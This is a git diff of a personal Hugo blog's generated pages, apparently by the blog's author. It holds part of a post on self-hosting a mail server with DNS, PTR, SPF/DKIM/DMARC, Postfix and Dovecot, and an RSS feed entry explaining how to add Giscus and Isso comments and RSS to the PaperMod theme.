    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/roundcube/page/1/index.html b/public-clearnet/tags/roundcube/page/1/index.html new file mode 100644 index 0000000..97f3e42 --- /dev/null +++ b/public-clearnet/tags/roundcube/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/roundcube/ + \ No newline at end of file diff --git a/public-clearnet/tags/rss/index.html b/public-clearnet/tags/rss/index.html new file mode 100644 index 0000000..5b78408 --- /dev/null +++ b/public-clearnet/tags/rss/index.html @@ -0,0 +1,15 @@ +Rss | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/rss/index.xml b/public-clearnet/tags/rss/index.xml new file mode 100644 index 0000000..69b4607 --- /dev/null +++ b/public-clearnet/tags/rss/index.xml @@ -0,0 +1,621 @@ +Rss on AlipourIm journeyshttps://blog.alipour.eu/tags/rss/Recent content in Rss on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

